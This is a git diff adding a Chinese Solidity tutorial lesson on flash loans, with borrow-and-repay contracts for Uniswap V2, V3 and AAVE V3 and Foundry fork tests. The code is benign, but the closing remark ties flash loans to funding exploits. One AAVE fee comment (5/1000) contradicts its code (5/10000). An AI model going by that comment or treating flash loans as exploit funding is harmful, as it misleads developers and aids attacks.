+社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) + +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +--- + +“闪电贷攻击”这个词大家一定听说过,但是什么是闪电贷?如何编写闪电贷合约?这一讲,我们将介绍区块链中的闪电贷,实现基于Uniswap V2,Uniswap V3,和AAVE V3的闪电贷合约,并使用Foundry进行测试。 + +## 闪电贷 + +你第一次听说"闪电贷"一定是在Web3,因为Web2没有这个东西。闪电贷(Flashloan)是DeFi的一种创新,它允许用户在一个交易中借出并迅速归还资金,而无需提供任何抵押。 + +想象一下,你突然在市场中发现了一个套利机会,但是需要准备100万u的资金才能完成套利。在Web2,你去银行申请贷款,需要审批,很可能错过套利的机会。另外,如果套利失败,你不光要支付利息,还需要归还损失的本金。 + +而在Web3,你可以在DeFI平台(Uniswap,AAVE,Dodo)中进行闪电贷获取资金,就可以在无担保的情况下借100万u的代币,执行链上套利,最后再归还贷款和利息。 + +闪电贷利用了以太坊交易的原子性:一个交易(包括其中的所有操作)要么完全执行,要么完全不执行。如果一个用户尝试使用闪电贷并在同一个交易中没有归还资金,那么整个交易都会失败并被回滚,就像它从未发生过一样。因此,DeFi平台不需要担心借款人还不上款,因为还不上的话就意味着钱没借出去;同时,借款人也不用担心套利不成功,因为套利不成功的话就还不上款,也就意味着借钱没成功。 + +![](./img/57-1.png) + +## 闪电贷实战 + +下面,我们分别介绍如何在Uniswap V2,Uniswap V3,和AAVE V3的实现闪电贷合约。 + +### 1. Uniswap V2闪电贷 + +[Uniswap V2 Pair](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L159)合约的`swap()`函数支持闪电贷。与闪电贷业务相关的代码如下: + +```solidity +function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { + // 其他逻辑... + + // 乐观的发送代币到to地址 + if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); + if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); + + // 调用to地址的回调函数uniswapV2Call + if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); + + // 其他逻辑... + + // 通过k=x*y公式,检查闪电贷是否归还成功 + require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); +} +``` + +在`swap()`函数中: + +1. 先将池子中的代币乐观的转移给了`to`地址。 +2. 如果传入的`data`长度大于`0`,就会调用`to`地址的回调函数`uniswapV2Call`,执行闪电贷逻辑。 +3. 最后通过`k=x*y`检查闪电贷是否归还成功,如果不成功,则回滚交易。 + +下面,我们完成闪电贷合约`UniswapV2Flashloan.sol`。我们让它继承`IUniswapV2Callee`,并将闪电贷的核心逻辑写在回调函数`uniswapV2Call`中。 + +整体逻辑很简单,在闪电贷函数`flashloan()`中,我们从Uniswap V2的`WETH-DAI`池子借`WETH`。触发闪电贷之后,回调函数`uniswapV2Call`会被Pair合约调用,我们不进行套利,仅在计算利息后归还闪电贷。Uniswap V2闪电贷的利息为每笔`0.3%`。 + +**注意**:回调函数一定要做好权限控制,确保只有Uniswap的Pair合约可以调用,否则的话合约中的资金会被黑客盗光。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2闪电贷回调接口 +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2闪电贷合约 +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // 闪电贷函数 + function flashloan(uint wethAmount) external { + // calldata长度大于1才能触发闪电贷回调函数 + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out是要借的DAI, amount1Out是要借的WETH + pair.swap(0, wethAmount, address(this), data); + } + + // 闪电贷回调函数,只能被 DAI/WETH pair 合约调用 + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // 确认调用的是 DAI/WETH pair 合约 + address token0 = IUniswapV2Pair(msg.sender).token0(); // 获取token0地址 + address token1 = IUniswapV2Pair(msg.sender).token1(); // 获取token1地址 + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + + // 解码calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan 逻辑,这里省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // 计算flashloan费用 + // fee / (amount + fee) = 3/1000 + // 向上取整 + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + // 归还闪电贷 + weth.transfer(address(pair), amountToRepay); + } +} +``` + +Foundry测试合约`UniswapV2Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +在测试合约中,我们分别测试了手续费充足和不足的情况,你可以在安装Foundry后使用下面的命令行进行测试(你可以将RPC换成其他以太坊RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV2Flashloan.t.sol -vv +``` + +### 2. Uniswap V3闪电贷 + +与Uniswap V2在`swap()`交换函数中间接支持闪电贷不同,Uniswap V3在[Pool池合约](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L791C1-L835C1)中加入了`flash()`函数直接支持闪电贷,核心代码如下: + +```solidity +function flash( + address recipient, + uint256 amount0, + uint256 amount1, + bytes calldata data +) external override lock noDelegateCall { + // 其他逻辑... + + // 乐观的发送代币到to地址 + if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0); + if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1); + + // 调用to地址的回调函数uniswapV3FlashCallback + IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data); + + // 检查闪电贷是否归还成功 + uint256 balance0After = balance0(); + uint256 balance1After = balance1(); + require(balance0Before.add(fee0) <= balance0After, 'F0'); + require(balance1Before.add(fee1) <= balance1After, 'F1'); + + // sub is safe because we know balanceAfter is gt balanceBefore by at least fee + uint256 paid0 = balance0After - balance0Before; + uint256 paid1 = balance1After - balance1Before; + + // 其他逻辑... +} +``` + +下面,我们完成闪电贷合约`UniswapV3Flashloan.sol`。我们让它继承`IUniswapV3FlashCallback`,并将闪电贷的核心逻辑写在回调函数`uniswapV3FlashCallback`中。 + +整体逻辑与V2的类似,在闪电贷函数`flashloan()`中,我们从Uniswap V3的`WETH-DAI`池子借`WETH`。触发闪电贷之后,回调函数`uniswapV3FlashCallback`会被Pool合约调用,我们不进行套利,仅在计算利息后归还闪电贷。Uniswap V3每笔闪电贷的手续费与交易手续费一致。 + +**注意**:回调函数一定要做好权限控制,确保只有Uniswap的Pair合约可以调用,否则的话合约中的资金会被黑客盗光。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3闪电贷回调接口 +// 需要实现并重写uniswapV3FlashCallback()函数 +interface IUniswapV3FlashCallback { + /// 在实现中,你必须偿还池中由 flash 发送的代币及计算出的费用金额。 + /// 调用此方法的合约必须经由官方 UniswapV3Factory 部署的 UniswapV3Pool 检查。 + /// @param fee0 闪电贷结束时,应支付给池的 token0 的费用金额 + /// @param fee1 闪电贷结束时,应支付给池的 token1 的费用金额 + /// @param data 通过 IUniswapV3PoolActions#flash 调用由调用者传递的任何数据 + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3闪电贷合约 +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // 闪电贷函数 + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // 闪电贷回调函数,只能被 DAI/WETH pair 合约调用 + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // 确认调用的是 DAI/WETH pair 合约 + require(msg.sender == address(pool), "not authorized"); + + // 解码calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan 逻辑,这里省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // 归还闪电贷 + weth.transfer(address(pool), wethAmount + fee1); + } +} +``` + +Foundry测试合约`UniswapV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // 闪电贷借贷金额 + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +在测试合约中,我们分别测试了手续费充足和不足的情况,你可以在安装Foundry后使用下面的命令行进行测试(你可以将RPC换成其他以太坊RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV3Flashloan.t.sol -vv +``` + +### 3. AAVE V3闪电贷 + +AAVE是去中心的借贷平台,它的[Pool合约](https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L424)通过`flashLoan()`和`flashLoanSimple()`两个函数支持单资产和多资产的闪电贷。这里,我们仅利用`flashLoan()`实现单个资产(`WETH`)的闪电贷。 + +下面,我们完成闪电贷合约`AaveV3Flashloan.sol`。我们让它继承`IFlashLoanSimpleReceiver`,并将闪电贷的核心逻辑写在回调函数`executeOperation`中。 + +整体逻辑与V2的类似,在闪电贷函数`flashloan()`中,我们从AAVE V3的`WETH`池子借`WETH`。触发闪电贷之后,回调函数`executeOperation`会被Pool合约调用,我们不进行套利,仅在计算利息后归还闪电贷。AAVE V3闪电贷的手续费默认为每笔`0.05%`,比Uniswap的要低。 + +**注意**:回调函数一定要做好权限控制,确保只有AAVE的Pool合约可以调用,并且发起者是本合约,否则的话合约中的资金会被黑客盗光。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice 在接收闪电借款资产后执行操作 + * @dev 确保合约能够归还债务 + 额外费用,例如,具有 + * 足够的资金来偿还,并已批准 Pool 提取总金额 + * @param asset 闪电借款资产的地址 + * @param amount 闪电借款资产的数量 + * @param premium 闪电借款资产的费用 + * @param initiator 发起闪电贷款的地址 + * @param params 初始化闪电贷款时传递的字节编码参数 + * @return 如果操作的执行成功则返回 True,否则返回 False + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3闪电贷合约 +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // 闪电贷函数 + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // 闪电贷回调函数,只能被 pool 合约调用 + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // 确认调用的是 DAI/WETH pair 合约 + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // 确认闪电贷发起者是本合约 + require(initiator == address(this), "invalid initiator"); + + // flashloan 逻辑,这里省略 + + // 计算flashloan费用 + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + // 归还闪电贷 + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} +``` + +Foundry测试合约`AaveV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +在测试合约中,我们分别测试了手续费充足和不足的情况,你可以在安装Foundry后使用下面的命令行进行测试(你可以将RPC换成其他以太坊RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/AaveV3Flashloan.t.sol -vv +``` + +## 总结 + +这一讲,我们介绍了闪电贷,它允许用户在一个交易中借出并迅速归还资金,而无需提供任何抵押。并且,我们分别实现了Uniswap V2,Uniswap V3,和AAVE的闪电贷合约。 + +通过闪电贷,我们能够无抵押的撬动海量资金进行无风险套利或漏洞攻击。你准备用闪电贷做些什么呢? \ No newline at end of file diff --git a/57_Flashloan/src/AaveV3Flashloan.sol b/57_Flashloan/src/AaveV3Flashloan.sol new file mode 100644 index 000000000..c7f0a48ad --- /dev/null +++ b/57_Flashloan/src/AaveV3Flashloan.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice 在接收闪电借款资产后执行操作 + * @dev 确保合约能够归还债务 + 额外费用,例如,具有 + * 足够的资金来偿还,并已批准 Pool 提取总金额 + * @param asset 闪电借款资产的地址 + * @param amount 闪电借款资产的数量 + * @param premium 闪电借款资产的费用 + * @param initiator 发起闪电贷款的地址 + * @param params 初始化闪电贷款时传递的字节编码参数 + * @return 如果操作的执行成功则返回 True,否则返回 False + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3闪电贷合约 +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // 闪电贷函数 + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // 闪电贷回调函数,只能被 pool 合约调用 + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // 确认调用的是 DAI/WETH pair 合约 + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // 确认闪电贷发起者是本合约 + require(initiator == address(this), "invalid initiator"); + + // flashloan 逻辑,这里省略 + + // 计算flashloan费用 + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + // 归还闪电贷 + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} \ No newline at end of file diff --git a/57_Flashloan/src/Lib.sol b/57_Flashloan/src/Lib.sol new file mode 100644 index 000000000..72f018fae --- /dev/null +++ b/57_Flashloan/src/Lib.sol @@ -0,0 +1,109 @@ +pragma solidity >=0.5.0; + +interface IERC20 { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); +} + +interface IUniswapV2Pair { + function swap( + uint amount0Out, + uint amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + function token1() external view returns (address); +} + +interface IUniswapV2Factory { + function getPair( + address tokenA, + address tokenB + ) external view returns (address pair); +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + + + +library PoolAddress { + bytes32 internal constant POOL_INIT_CODE_HASH = + 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; + + struct PoolKey { + address token0; + address token1; + uint24 fee; + } + + function getPoolKey( + address tokenA, + address tokenB, + uint24 fee + ) internal pure returns (PoolKey memory) { + if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); + return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); + } + + function computeAddress( + address factory, + PoolKey memory key + ) internal pure returns (address pool) { + require(key.token0 < key.token1); + pool = address( + uint160( + uint( + keccak256( + abi.encodePacked( + hex"ff", + factory, + keccak256(abi.encode(key.token0, key.token1, key.fee)), + POOL_INIT_CODE_HASH + ) + ) + ) + ) + ); + } +} + +interface IUniswapV3Pool { + function flash( + address recipient, + uint amount0, + uint amount1, + bytes calldata data + ) external; +} + +// AAVE V3 Pool interface +interface ILendingPool { + // flashloan of single asset + function flashLoanSimple( + address receiverAddress, + address asset, + uint256 amount, + bytes calldata params, + uint16 referralCode + ) external; + + // get the fee on flashloan, default at 0.05% + function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128); +} \ No newline at end of file diff --git a/57_Flashloan/src/UniswapV2Flashloan.sol b/57_Flashloan/src/UniswapV2Flashloan.sol new file mode 100644 index 000000000..2008d702f --- /dev/null +++ b/57_Flashloan/src/UniswapV2Flashloan.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2闪电贷回调接口 +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2闪电贷合约 +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // 闪电贷函数 + function flashloan(uint wethAmount) external { + // calldata长度大于1才能触发闪电贷回调函数 + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out是要借的DAI, amount1Out是要借的WETH + pair.swap(0, wethAmount, address(this), data); + } + + // 闪电贷回调函数,只能被 DAI/WETH pair 合约调用 + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // 确认调用的是 DAI/WETH pair 合约 + address token0 = IUniswapV2Pair(msg.sender).token0(); // 获取token0地址 + address token1 = IUniswapV2Pair(msg.sender).token1(); // 获取token1地址 + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + + // 解码calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan 逻辑,这里省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // 计算flashloan费用 + // fee / (amount + fee) = 3/1000 + // 向上取整 + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + // 归还闪电贷 + weth.transfer(address(pair), amountToRepay); + } +} diff --git a/57_Flashloan/src/UniswapV3Flashloan.sol b/57_Flashloan/src/UniswapV3Flashloan.sol new file mode 100644 index 000000000..a12b50af0 --- /dev/null +++ b/57_Flashloan/src/UniswapV3Flashloan.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3闪电贷回调接口 +// 需要实现并重写uniswapV3FlashCallback()函数 +interface IUniswapV3FlashCallback { + /// 在实现中,你必须偿还池中由 flash 发送的代币及计算出的费用金额。 + /// 调用此方法的合约必须经由官方 UniswapV3Factory 部署的 UniswapV3Pool 检查。 + /// @param fee0 闪电贷结束时,应支付给池的 token0 的费用金额 + /// @param fee1 闪电贷结束时,应支付给池的 token1 的费用金额 + /// @param data 通过 IUniswapV3PoolActions#flash 调用由调用者传递的任何数据 + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3闪电贷合约 +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // 闪电贷函数 + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // 闪电贷回调函数,只能被 DAI/WETH pair 合约调用 + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // 确认调用的是 DAI/WETH pair 合约 + require(msg.sender == address(pool), "not authorized"); + + // 解码calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan 逻辑,这里省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // 归还闪电贷 + weth.transfer(address(pool), wethAmount + fee1); + } +} \ No newline at end of file diff --git a/57_Flashloan/test/AaveV3Flashloan.t.sol b/57_Flashloan/test/AaveV3Flashloan.t.sol new file mode 100644 index 000000000..f5aea4c66 --- /dev/null +++ b/57_Flashloan/test/AaveV3Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/57_Flashloan/test/UniswapV2Flashloan.t.sol b/57_Flashloan/test/UniswapV2Flashloan.t.sol new file mode 100644 index 000000000..67a45981d --- /dev/null +++ b/57_Flashloan/test/UniswapV2Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/57_Flashloan/test/UniswapV3Flashloan.t.sol b/57_Flashloan/test/UniswapV3Flashloan.t.sol new file mode 100644 index 000000000..20a98d476 --- /dev/null +++ b/57_Flashloan/test/UniswapV3Flashloan.t.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // 闪电贷借贷金额 + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/en/01_HelloWeb3_en/HelloWeb3.sol b/Languages/en/01_HelloWeb3_en/HelloWeb3.sol index be498df53..866c2d739 100644 --- a/Languages/en/01_HelloWeb3_en/HelloWeb3.sol +++ b/Languages/en/01_HelloWeb3_en/HelloWeb3.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract HelloWeb3{ string public _string = "Hello Web3!";} \ No newline at end of file diff --git a/Languages/en/01_HelloWeb3_en/readme.md b/Languages/en/01_HelloWeb3_en/readme.md index 0cae28fb6..ca1c2db9d 100644 --- a/Languages/en/01_HelloWeb3_en/readme.md 